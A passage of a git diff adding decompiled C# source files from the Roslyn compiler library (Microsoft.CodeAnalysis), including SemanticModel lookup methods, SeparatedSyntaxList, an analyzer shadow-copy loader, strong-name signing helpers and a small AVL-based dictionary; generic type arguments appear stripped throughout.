ImmutableArray GetDeclaredSymbolsForNode(SyntaxNode declaration, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDeclaredSymbolsCore(declaration, cancellationToken); + } + + protected abstract ImmutableArray GetDeclaredSymbolsCore(SyntaxNode declaration, CancellationToken cancellationToken = default(CancellationToken)); + + public ImmutableArray LookupSymbols(int position, INamespaceOrTypeSymbol? container = null, string? name = null, bool includeReducedExtensionMethods = false) + { + return LookupSymbolsCore(position, container, name, includeReducedExtensionMethods); + } + + protected abstract ImmutableArray LookupSymbolsCore(int position, INamespaceOrTypeSymbol? container, string? name, bool includeReducedExtensionMethods); + + public ImmutableArray LookupBaseMembers(int position, string? name = null) + { + return LookupBaseMembersCore(position, name); + } + + protected abstract ImmutableArray LookupBaseMembersCore(int position, string? name); + + public ImmutableArray LookupStaticMembers(int position, INamespaceOrTypeSymbol? container = null, string? name = null) + { + return LookupStaticMembersCore(position, container, name); + } + + protected abstract ImmutableArray LookupStaticMembersCore(int position, INamespaceOrTypeSymbol? container, string? name); + + public ImmutableArray LookupNamespacesAndTypes(int position, INamespaceOrTypeSymbol? container = null, string? name = null) + { + return LookupNamespacesAndTypesCore(position, container, name); + } + + protected abstract ImmutableArray LookupNamespacesAndTypesCore(int position, INamespaceOrTypeSymbol? container, string? name); + + public ImmutableArray LookupLabels(int position, string? name = null) + { + return LookupLabelsCore(position, name); + } + + protected abstract ImmutableArray LookupLabelsCore(int position, string? name); + + internal ControlFlowAnalysis AnalyzeControlFlow(SyntaxNode firstStatement, SyntaxNode lastStatement) + { + return AnalyzeControlFlowCore(firstStatement, lastStatement); + } + + protected abstract ControlFlowAnalysis AnalyzeControlFlowCore(SyntaxNode firstStatement, SyntaxNode lastStatement); + + internal ControlFlowAnalysis AnalyzeControlFlow(SyntaxNode statement) + { + return AnalyzeControlFlowCore(statement); + } + + protected abstract ControlFlowAnalysis AnalyzeControlFlowCore(SyntaxNode statement); + + internal DataFlowAnalysis AnalyzeDataFlow(SyntaxNode firstStatement, SyntaxNode lastStatement) + { + return AnalyzeDataFlowCore(firstStatement, lastStatement); + } + + protected abstract DataFlowAnalysis AnalyzeDataFlowCore(SyntaxNode firstStatement, SyntaxNode lastStatement); + + internal DataFlowAnalysis AnalyzeDataFlow(SyntaxNode statementOrExpression) + { + return AnalyzeDataFlowCore(statementOrExpression); + } + + protected abstract DataFlowAnalysis AnalyzeDataFlowCore(SyntaxNode statementOrExpression); + + public Optional GetConstantValue(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetConstantValueCore(node, cancellationToken); + } + + protected abstract Optional GetConstantValueCore(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)); + + internal ImmutableArray GetMemberGroup(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetMemberGroupCore(node, cancellationToken); + } + + protected abstract ImmutableArray GetMemberGroupCore(SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)); + + public ISymbol? GetEnclosingSymbol(int position, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetEnclosingSymbolCore(position, cancellationToken); + } + + protected abstract ISymbol? GetEnclosingSymbolCore(int position, CancellationToken cancellationToken = default(CancellationToken)); + + public ImmutableArray GetImportScopes(int position, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetImportScopesCore(position, cancellationToken); + } + + private protected abstract ImmutableArray GetImportScopesCore(int position, CancellationToken cancellationToken); + + public bool IsAccessible(int position, ISymbol symbol) + { + return IsAccessibleCore(position, symbol); + } + + protected abstract bool IsAccessibleCore(int position, ISymbol symbol); + + public bool IsEventUsableAsField(int position, IEventSymbol eventSymbol) + { + return IsEventUsableAsFieldCore(position, eventSymbol); + } + + protected abstract bool IsEventUsableAsFieldCore(int position, IEventSymbol eventSymbol); + + public PreprocessingSymbolInfo GetPreprocessingSymbolInfo(SyntaxNode nameSyntax) + { + return GetPreprocessingSymbolInfoCore(nameSyntax); + } + + protected abstract PreprocessingSymbolInfo GetPreprocessingSymbolInfoCore(SyntaxNode nameSyntax); + + internal abstract void ComputeDeclarationsInSpan(TextSpan span, bool getSymbol, ArrayBuilder builder, CancellationToken cancellationToken); + + internal abstract void ComputeDeclarationsInNode(SyntaxNode node, ISymbol associatedSymbol, bool getSymbol, ArrayBuilder builder, CancellationToken cancellationToken, int? levelsToCompute = null); + + internal virtual Func? GetSyntaxNodesToAnalyzeFilter(SyntaxNode declaredNode, ISymbol declaredSymbol) + { + return null; + } + + internal virtual bool ShouldSkipSyntaxNodeAnalysis(SyntaxNode node, ISymbol containingSymbol) + { + return false; + } + + protected internal virtual SyntaxNode GetTopmostNodeForDiagnosticAnalysis(ISymbol symbol, SyntaxNode declaringSyntax) + { + return declaringSyntax; + } + + public abstract NullableContext GetNullableContext(int position); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SemanticModelProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SemanticModelProvider.cs new file mode 100644 index 0000000..985086a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SemanticModelProvider.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +internal abstract class SemanticModelProvider +{ + public abstract SemanticModel GetSemanticModel(SyntaxTree tree, Compilation compilation, bool ignoreAccessibility = false); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SeparatedSyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SeparatedSyntaxList.cs new file mode 100644 index 0000000..e12591c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SeparatedSyntaxList.cs @@ -0,0 +1,520 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SeparatedSyntaxList : IEquatable>, IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection where TNode : SyntaxNode +{ + public struct Enumerator + { + private readonly SeparatedSyntaxList _list; + + private int _index; + + public TNode Current => _list[_index]; + + internal Enumerator(in SeparatedSyntaxList list) + { + _list = list; + _index = -1; + } + + public bool MoveNext() + { + int num = _index + 1; + if (num < _list.Count) + { + _index = num; + return true; + } + return false; + } + + public void Reset() + { + _index = -1; + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _e; + + public TNode Current => _e.Current; + + object IEnumerator.Current => _e.Current; + + internal EnumeratorImpl(in SeparatedSyntaxList list) + { + _e = new Enumerator(in list); + } + + public void Dispose() + { + } + + public bool MoveNext() + { + return _e.MoveNext(); + } + + public void Reset() + { + _e.Reset(); + } + } + + private readonly SyntaxNodeOrTokenList _list; + + private readonly int _count; + + private readonly int _separatorCount; + + internal SyntaxNode? Node => _list.Node; + + public int Count => _count; + + public int SeparatorCount => _separatorCount; + + public TNode this[int index] + { + get + { + SyntaxNode node = _list.Node; + if (node != null) + { + if (!node.IsList) + { + if (index == 0) + { + return (TNode)node; + } + } + else if ((uint)index < (uint)_count) + { + return (TNode)node.GetRequiredNodeSlot(index << 1); + } + } + throw new ArgumentOutOfRangeException("index"); + } + } + + public TextSpan FullSpan => _list.FullSpan; + + public TextSpan Span => _list.Span; + + private TNode[] Nodes => this.ToArray(); + + private SyntaxNodeOrToken[] NodesWithSeparators => _list.ToArray(); + + internal SeparatedSyntaxList(SyntaxNodeOrTokenList list) + { + this = default(SeparatedSyntaxList); + int count = list.Count; + _count = count + 1 >> 1; + _separatorCount = count >> 1; + _list = list; + } + + [Conditional("DEBUG")] + private static void Validate(SyntaxNodeOrTokenList list) + { + for (int i = 0; i < list.Count; i++) + { + _ = list[i]; + _ = i & 1; + } + } + + internal SeparatedSyntaxList(SyntaxNode node, int index) + : this(new SyntaxNodeOrTokenList(node, index)) + { + } + + public SyntaxToken GetSeparator(int index) + { + SyntaxNode node = _list.Node; + if (node != null && (uint)index < (uint)_separatorCount) + { + index = (index << 1) + 1; + GreenNode requiredSlot = node.Green.GetRequiredSlot(index); + return new SyntaxToken(node.Parent, requiredSlot, node.GetChildPosition(index), _list.index + index); + } + throw new ArgumentOutOfRangeException("index"); + } + + public IEnumerable GetSeparators() + { + return from n in _list + where n.IsToken + select n.AsToken(); + } + + public override string ToString() + { + return _list.ToString(); + } + + public string ToFullString() + { + return _list.ToFullString(); + } + + public TNode First() + { + return this[0]; + } + + public TNode? FirstOrDefault() + { + if (Any()) + { + return this[0]; + } + return null; + } + + public TNode Last() + { + return this[Count - 1]; + } + + public TNode? LastOrDefault() + { + if (Any()) + { + return this[Count - 1]; + } + return null; + } + + public bool Contains(TNode node) + { + return IndexOf(node) >= 0; + } + + public int IndexOf(TNode node) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (object.Equals(this[i], node)) + { + return i; + } + } + return -1; + } + + public int IndexOf(Func predicate) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (predicate(this[i])) + { + return i; + } + } + return -1; + } + + internal int IndexOf(int rawKind) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (this[i].RawKind == rawKind) + { + return i; + } + } + return -1; + } + + public int LastIndexOf(TNode node) + { + for (int num = Count - 1; num >= 0; num--) + { + if (object.Equals(this[num], node)) + { + return num; + } + } + return -1; + } + + public int LastIndexOf(Func predicate) + { + for (int num = Count - 1; num >= 0; num--) + { + if (predicate(this[num])) + { + return num; + } + } + return -1; + } + + public bool Any() + { + return _list.Any(); + } + + internal bool Any(Func predicate) + { + for (int i = 0; i < Count; i++) + { + if (predicate(this[i])) + { + return true; + } + } + return false; + } + + public SyntaxNodeOrTokenList GetWithSeparators() + { + return _list; + } + + public static bool operator ==(SeparatedSyntaxList left, SeparatedSyntaxList right) + { + return left.Equals(right); + } + + public static bool operator !=(SeparatedSyntaxList left, SeparatedSyntaxList right) + { + return !left.Equals(right); + } + + public bool Equals(SeparatedSyntaxList other) + { + return _list == other._list; + } + + public override bool Equals(object? obj) + { + if (obj is SeparatedSyntaxList other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return _list.GetHashCode(); + } + + public SeparatedSyntaxList Add(TNode node) + { + return Insert(Count, node); + } + + public SeparatedSyntaxList AddRange(IEnumerable nodes) + { + return InsertRange(Count, nodes); + } + + public SeparatedSyntaxList Insert(int index, TNode node) + { + if (node == null) + { + throw new ArgumentNullException("node"); + } + return InsertRange(index, new TNode[1] { node }); + } + + public SeparatedSyntaxList InsertRange(int index, IEnumerable nodes) + { + if (nodes == null) + { + throw new ArgumentNullException("nodes"); + } + if (index < 0 || index > Count) + { + throw new ArgumentOutOfRangeException("index"); + } + SyntaxNodeOrTokenList withSeparators = GetWithSeparators(); + int num = ((index < Count) ? withSeparators.IndexOf(this[index]) : withSeparators.Count); + if (num > 0 && num < withSeparators.Count) + { + SyntaxNodeOrToken syntaxNodeOrToken = withSeparators[num - 1]; + if (syntaxNodeOrToken.IsToken && !KeepSeparatorWithPreviousNode(syntaxNodeOrToken.AsToken())) + { + num--; + } + } + List list = new List(); + foreach (TNode node in nodes) + { + if (node != null) + { + if (list.Count > 0 || (num > 0 && withSeparators[num - 1].IsNode)) + { + list.Add(node.Green.CreateSeparator(node)); + } + list.Add(node); + } + } + if (num < withSeparators.Count && withSeparators[num].IsNode) + { + SyntaxNode syntaxNode = withSeparators[num].AsNode(); + list.Add(syntaxNode.Green.CreateSeparator(syntaxNode)); + } + return new SeparatedSyntaxList(withSeparators.InsertRange(num, list)); + } + + private static bool KeepSeparatorWithPreviousNode(in SyntaxToken separator) + { + SyntaxTriviaList.Enumerator enumerator = separator.TrailingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.UnderlyingNode.IsTriviaWithEndOfLine()) + { + return true; + } + } + return false; + } + + public SeparatedSyntaxList RemoveAt(int index) + { + if (index < 0 || index > Count) + { + throw new ArgumentOutOfRangeException("index"); + } + return Remove(this[index]); + } + + public SeparatedSyntaxList Remove(TNode node) + { + SyntaxNodeOrTokenList withSeparators = GetWithSeparators(); + int num = withSeparators.IndexOf(node); + if (num >= 0 && num <= withSeparators.Count) + { + withSeparators = withSeparators.RemoveAt(num); + if (num < withSeparators.Count && withSeparators[num].IsToken) + { + withSeparators = withSeparators.RemoveAt(num); + } + else if (num > 0 && withSeparators[num - 1].IsToken) + { + withSeparators = withSeparators.RemoveAt(num - 1); + } + return new SeparatedSyntaxList(withSeparators); + } + return this; + } + + public SeparatedSyntaxList Replace(TNode nodeInList, TNode newNode) + { + if (newNode == null) + { + throw new ArgumentNullException("newNode"); + } + int num = IndexOf(nodeInList); + if (num >= 0 && num < Count) + { + return new SeparatedSyntaxList(GetWithSeparators().Replace(nodeInList, newNode)); + } + throw new ArgumentOutOfRangeException("nodeInList"); + } + + public SeparatedSyntaxList ReplaceRange(TNode nodeInList, IEnumerable newNodes) + { + if (newNodes == null) + { + throw new ArgumentNullException("newNodes"); + } + int num = IndexOf(nodeInList); + if (num >= 0 && num < Count) + { + List list = newNodes.ToList(); + if (list.Count == 0) + { + return Remove(nodeInList); + } + SeparatedSyntaxList result = Replace(nodeInList, list[0]); + if (list.Count > 1) + { + list.RemoveAt(0); + return result.InsertRange(num + 1, list); + } + return result; + } + throw new ArgumentOutOfRangeException("nodeInList"); + } + + public SeparatedSyntaxList ReplaceSeparator(SyntaxToken separatorToken, SyntaxToken newSeparator) + { + SyntaxNodeOrTokenList withSeparators = GetWithSeparators(); + int num = withSeparators.IndexOf(separatorToken); + if (num < 0) + { + throw new ArgumentException("separatorToken"); + } + if (newSeparator.RawKind != withSeparators[num].RawKind || newSeparator.Language != withSeparators[num].Language) + { + throw new ArgumentException("newSeparator"); + } + return new SeparatedSyntaxList(withSeparators.Replace(separatorToken, newSeparator)); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Any()) + { + return new EnumeratorImpl(this); + } + return SpecializedCollections.EmptyEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Any()) + { + return new EnumeratorImpl(this); + } + return SpecializedCollections.EmptyEnumerator(); + } + + public static implicit operator SeparatedSyntaxList(SeparatedSyntaxList nodes) + { + return new SeparatedSyntaxList(nodes._list); + } + + [Obsolete("This method is preserved for binary compatibility only. Use explicit cast instead.", true)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static SeparatedSyntaxList op_Implicit(SeparatedSyntaxList nodes) + { + return new SeparatedSyntaxList(nodes._list); + } + + public static explicit operator SeparatedSyntaxList(SeparatedSyntaxList nodes) + { + return new SeparatedSyntaxList(nodes._list); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ShadowCopyAnalyzerAssemblyLoader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ShadowCopyAnalyzerAssemblyLoader.cs new file mode 100644 index 0000000..3e702b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ShadowCopyAnalyzerAssemblyLoader.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; +using System.Threading.Tasks; + +namespace Microsoft.CodeAnalysis; + +internal sealed class ShadowCopyAnalyzerAssemblyLoader : AnalyzerAssemblyLoader +{ + private readonly string _baseDirectory; + + internal readonly Task DeleteLeftoverDirectoriesTask; + + private readonly Lazy<(string directory, Mutex)> _shadowCopyDirectoryAndMutex; + + private int _assemblyDirectoryId; + + internal string BaseDirectory => _baseDirectory; + + internal int CopyCount => _assemblyDirectoryId; + + public ShadowCopyAnalyzerAssemblyLoader(string baseDirectory) + { + if (baseDirectory == null) + { + throw new ArgumentNullException("baseDirectory"); + } + _baseDirectory = baseDirectory; + _shadowCopyDirectoryAndMutex = new Lazy<(string, Mutex)>(() => ((string directory, Mutex))CreateUniqueDirectoryForProcess(), LazyThreadSafetyMode.ExecutionAndPublication); + DeleteLeftoverDirectoriesTask = Task.Run((Action)DeleteLeftoverDirectories); + } + + private void DeleteLeftoverDirectories() + { + if (!Directory.Exists(_baseDirectory)) + { + return; + } + IEnumerable enumerable; + try + { + enumerable = Directory.EnumerateDirectories(_baseDirectory); + } + catch (DirectoryNotFoundException) + { + return; + } + foreach (string item in enumerable) + { + string name = Path.GetFileName(item).ToLowerInvariant(); + Mutex result = null; + try + { + if (!Mutex.TryOpenExisting(name, out result)) + { + try + { + Directory.Delete(item, recursive: true); + } + catch (IOException) + { + ClearReadOnlyFlagOnFiles(item); + Directory.Delete(item, recursive: true); + } + } + } + catch + { + } + finally + { + result?.Dispose(); + } + } + } + + protected override string PreparePathToLoad(string originalFullPath) + { + string assemblyDirectory = CreateUniqueDirectoryForAssembly(); + return CopyFileAndResources(originalFullPath, assemblyDirectory); + } + + private static string CopyFileAndResources(string fullPath, string assemblyDirectory) + { + string fileName = Path.GetFileName(fullPath); + string text = Path.Combine(assemblyDirectory, fileName); + CopyFile(fullPath, text); + string? directoryName = Path.GetDirectoryName(fullPath); + string text2 = Path.GetFileNameWithoutExtension(fileName) + ".resources"; + string text3 = text2 + ".dll"; + foreach (string item in Directory.EnumerateDirectories(directoryName)) + { + string fileName2 = Path.GetFileName(item); + string text4 = Path.Combine(item, text3); + if (File.Exists(text4)) + { + string shadowCopyPath = Path.Combine(assemblyDirectory, fileName2, text3); + CopyFile(text4, shadowCopyPath); + } + text4 = Path.Combine(item, text2, text3); + if (File.Exists(text4)) + { + string shadowCopyPath2 = Path.Combine(assemblyDirectory, fileName2, text2, text3); + CopyFile(text4, shadowCopyPath2); + } + } + return text; + } + + private static void CopyFile(string originalPath, string shadowCopyPath) + { + Directory.CreateDirectory(Path.GetDirectoryName(shadowCopyPath) ?? throw new ArgumentException("Shadow copy path '" + shadowCopyPath + "' must not be the root directory")); + File.Copy(originalPath, shadowCopyPath); + ClearReadOnlyFlagOnFile(new FileInfo(shadowCopyPath)); + } + + private static void ClearReadOnlyFlagOnFiles(string directoryPath) + { + foreach (FileInfo item in new DirectoryInfo(directoryPath).EnumerateFiles("*", SearchOption.AllDirectories)) + { + ClearReadOnlyFlagOnFile(item); + } + } + + private static void ClearReadOnlyFlagOnFile(FileInfo fileInfo) + { + try + { + if (fileInfo.IsReadOnly) + { + fileInfo.IsReadOnly = false; + } + } + catch + { + } + } + + private string CreateUniqueDirectoryForAssembly() + { + int num = Interlocked.Increment(ref _assemblyDirectoryId); + string text = Path.Combine(_shadowCopyDirectoryAndMutex.Value.directory, num.ToString()); + Directory.CreateDirectory(text); + return text; + } + + private (string directory, Mutex mutex) CreateUniqueDirectoryForProcess() + { + string text = Guid.NewGuid().ToString("N").ToLowerInvariant(); + string text2 = Path.Combine(_baseDirectory, text); + Mutex item = new Mutex(initiallyOwned: false, text); + Directory.CreateDirectory(text2); + return (directory: text2, mutex: item); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SharedInputNodes.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SharedInputNodes.cs new file mode 100644 index 0000000..be9fd71 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SharedInputNodes.cs @@ -0,0 +1,22 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class SharedInputNodes +{ + public static readonly InputNode Compilation = new InputNode((DriverStateTable.Builder b) => ImmutableArray.Create(b.Compilation)); + + public static readonly InputNode CompilationOptions = new InputNode((DriverStateTable.Builder b) => ImmutableArray.Create(b.Compilation.Options), ReferenceEqualityComparer.Instance); + + public static readonly InputNode ParseOptions = new InputNode((DriverStateTable.Builder b) => ImmutableArray.Create(b.DriverState.ParseOptions)); + + public static readonly InputNode AdditionalTexts = new InputNode((DriverStateTable.Builder b) => b.DriverState.AdditionalTexts); + + public static readonly InputNode SyntaxTrees = new InputNode((DriverStateTable.Builder b) => b.Compilation.SyntaxTrees.ToImmutableArray()); + + public static readonly InputNode AnalyzerConfigOptions = new InputNode((DriverStateTable.Builder b) => ImmutableArray.Create(b.DriverState.OptionsProvider)); + + public static readonly InputNode MetadataReferences = new InputNode((DriverStateTable.Builder b) => b.Compilation.ExternalReferences); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SigningUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SigningUtilities.cs new file mode 100644 index 0000000..f49723b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SigningUtilities.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using System.Reflection.Metadata; +using System.Security.Cryptography; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class SigningUtilities +{ + internal static byte[] CalculateRsaSignature(IEnumerable content, RSAParameters privateKey) + { + byte[] hash = CalculateSha1(content); + using RSA rSA = RSA.Create(); + rSA.ImportParameters(privateKey); + byte[] array = rSA.SignHash(hash, HashAlgorithmName.SHA1, RSASignaturePadding.Pkcs1); + Array.Reverse((Array)array); + return array; + } + + internal static byte[] CalculateSha1(IEnumerable content) + { + using IncrementalHash incrementalHash = IncrementalHash.CreateHash(HashAlgorithmName.SHA1); + incrementalHash.AppendData(content); + return incrementalHash.GetHashAndReset(); + } + + internal static int CalculateStrongNameSignatureSize(CommonPEModuleBuilder module, RSAParameters? privateKey) + { + ISourceAssemblySymbolInternal sourceAssemblyOpt = module.SourceAssemblyOpt; + if (sourceAssemblyOpt == null && !privateKey.HasValue) + { + return 0; + } + int num = 0; + if (num == 0 && sourceAssemblyOpt != null) + { + num = ((sourceAssemblyOpt.SignatureKey != null) ? (sourceAssemblyOpt.SignatureKey.Length / 2) : 0); + } + if (num == 0 && sourceAssemblyOpt != null) + { + num = sourceAssemblyOpt.Identity.PublicKey.Length; + } + if (num == 0 && privateKey.HasValue) + { + num = privateKey.Value.Modulus.Length; + } + if (num == 0) + { + return 0; + } + if (num >= 160) + { + return num - 32; + } + return 128; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SimpleImportScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SimpleImportScope.cs new file mode 100644 index 0000000..127188f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SimpleImportScope.cs @@ -0,0 +1,22 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SimpleImportScope : IImportScope +{ + public ImmutableArray Aliases { get; } + + public ImmutableArray ExternAliases { get; } + + public ImmutableArray Imports { get; } + + public ImmutableArray XmlNamespaces { get; } + + public SimpleImportScope(ImmutableArray aliases, ImmutableArray externAliases, ImmutableArray imports, ImmutableArray xmlNamespaces) + { + Aliases = aliases.ConditionallyDeOrder(); + ExternAliases = externAliases.ConditionallyDeOrder(); + Imports = imports.ConditionallyDeOrder(); + XmlNamespaces = xmlNamespaces.ConditionallyDeOrder(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SmallDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SmallDictionary.cs new file mode 100644 index 0000000..8df94c3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SmallDictionary.cs @@ -0,0 +1,711 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SmallDictionary : IEnumerable>, IEnumerable where K : notnull +{ + private abstract class Node + { + public readonly K Key; + + public V Value; + + public virtual Node? Next => null; + + protected Node(K key, V value) + { + Key = key; + Value = value; + } + } + + private sealed class NodeLinked : Node + { + public override Node Next { get; } + + public NodeLinked(K key, V value, Node next) + : base(key, value) + { + Next = next; + } + } + + private sealed class AvlNodeHead : AvlNode + { + public Node next; + + public override Node Next => next; + + public AvlNodeHead(int hashCode, K key, V value, Node next) + : base(hashCode, key, value) + { + this.next = next; + } + } + + private abstract class HashedNode : Node + { + public readonly int HashCode; + + public sbyte Balance; + + protected HashedNode(int hashCode, K key, V value) + : base(key, value) + { + HashCode = hashCode; + } + } + + private class AvlNode : HashedNode + { + public AvlNode? Left; + + public AvlNode? Right; + + public AvlNode(int hashCode, K key, V value) + : base(hashCode, key, value) + { + } + } + + internal readonly struct KeyCollection(SmallDictionary dict) : IEnumerable, IEnumerable + { + public struct Enumerator + { + private readonly Stack? _stack; + + private Node? _next; + + private Node? _current; + + public K Current => _current.Key; + + public Enumerator(SmallDictionary dict) + { + this = default(Enumerator); + AvlNode root = dict._root; + if (root != null) + { + if (root.Left == root.Right) + { + _next = root; + return; + } + _stack = new Stack(dict.HeightApprox()); + _stack.Push(root); + } + } + + public bool MoveNext() + { + if (_next != null) + { + _current = _next; + _next = _next.Next; + return true; + } + if (_stack == null || _stack.Count == 0) + { + return false; + } + AvlNode avlNode = (AvlNode)(_current = _stack.Pop()); + _next = avlNode.Next; + PushIfNotNull(avlNode.Left); + PushIfNotNull(avlNode.Right); + return true; + } + + private void PushIfNotNull(AvlNode? child) + { + if (child != null) + { + _stack.Push(child); + } + } + } + + public class EnumerableImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _e; + + K IEnumerator.Current => _e.Current; + + object IEnumerator.Current => _e.Current; + + public EnumerableImpl(Enumerator e) + { + _e = e; + } + + void IDisposable.Dispose() + { + } + + bool IEnumerator.MoveNext() + { + return _e.MoveNext(); + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + } + + private readonly SmallDictionary _dict = dict; + + public Enumerator GetEnumerator() + { + return new Enumerator(_dict); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new EnumerableImpl(GetEnumerator()); + } + + IEnumerator IEnumerable.GetEnumerator() + { + throw new NotImplementedException(); + } + } + + internal readonly struct ValueCollection(SmallDictionary dict) : IEnumerable, IEnumerable + { + public struct Enumerator + { + private readonly Stack? _stack; + + private Node? _next; + + private Node? _current; + + public V Current => _current.Value; + + public Enumerator(SmallDictionary dict) + { + this = default(Enumerator); + AvlNode root = dict._root; + if (root != null) + { + if (root.Left == root.Right) + { + _next = root; + return; + } + _stack = new Stack(dict.HeightApprox()); + _stack.Push(root); + } + } + + public bool MoveNext() + { + if (_next != null) + { + _current = _next; + _next = _next.Next; + return true; + } + if (_stack == null || _stack.Count == 0) + { + return false; + } + AvlNode avlNode = (AvlNode)(_current = _stack.Pop()); + _next = avlNode.Next; + PushIfNotNull(avlNode.Left); + PushIfNotNull(avlNode.Right); + return true; + } + + private void PushIfNotNull(AvlNode? child) + { + if (child != null) + { + _stack.Push(child); + } + } + } + + public class EnumerableImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _e; + + V IEnumerator.Current => _e.Current; + + object? IEnumerator.Current => _e.Current; + + public EnumerableImpl(Enumerator e) + { + _e = e; + } + + void IDisposable.Dispose() + { + } + + bool IEnumerator.MoveNext() + { + return _e.MoveNext(); + } + + void IEnumerator.Reset() + { + throw new NotImplementedException(); + } + } + + private readonly SmallDictionary _dict = dict; + + public Enumerator GetEnumerator() + { + return new Enumerator(_dict); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new EnumerableImpl(GetEnumerator()); + } + + IEnumerator IEnumerable.GetEnumerator() + { + throw new NotImplementedException(); + } + } + + public struct Enumerator + { + private readonly Stack? _stack; + + private Node? _next; + + private Node? _current; + + public KeyValuePair Current => new KeyValuePair(_current.Key, _current.Value); + + public Enumerator(SmallDictionary dict) + { + this = default(Enumerator); + AvlNode root = dict._root; + if (root != null) + { + if (root.Left == root.Right) + { + _next = root; + return; + } + _stack = new Stack(dict.HeightApprox()); + _stack.Push(root); + } + } + + public bool MoveNext() + { + if (_next != null) + { + _current = _next; + _next = _next.Next; + return true; + } + if (_stack == null || _stack.Count == 0) + { + return false; + } + AvlNode avlNode = (AvlNode)(_current = _stack.Pop()); + _next = avlNode.Next; + PushIfNotNull(avlNode.Left); + PushIfNotNull(avlNode.Right); + return true; + } + + private void PushIfNotNull(AvlNode? child) + { + if (child != null) + { + _stack.Push(child); + } + } + } + + public class EnumerableImpl : IEnumerator>, IEnumerator, IDisposable + { + private Enumerator _e; + + KeyValuePair IEnumerator>.Current => _e.Current; + + object IEnumerator.Current => _e.Current; + + public EnumerableImpl(Enumerator e) + { + _e = e; + } + + void IDisposable.Dispose() + { + } + + bool IEnumerator.MoveNext() + { + return _e.MoveNext(); + } + + void IEnumerator.Reset() + { + throw new NotImplementedException(); + } + } + + private AvlNode? _root; + + public readonly IEqualityComparer Comparer; + + public static readonly SmallDictionary Empty = new SmallDictionary(null); + + public V this[K key] + { + get + { + if (!TryGetValue(key, out var value)) + { + throw new KeyNotFoundException($"Could not find key {key}"); + } + return value; + } + set + { + Insert(GetHashCode(key), key, value, add: false); + } + } + + public KeyCollection Keys => new KeyCollection(this); + + public ValueCollection Values => new ValueCollection(this); + + public SmallDictionary() + : this((IEqualityComparer)EqualityComparer.Default) + { + } + + public SmallDictionary(IEqualityComparer comparer) + { + Comparer = comparer; + } + + public SmallDictionary(SmallDictionary other, IEqualityComparer comparer) + : this(comparer) + { 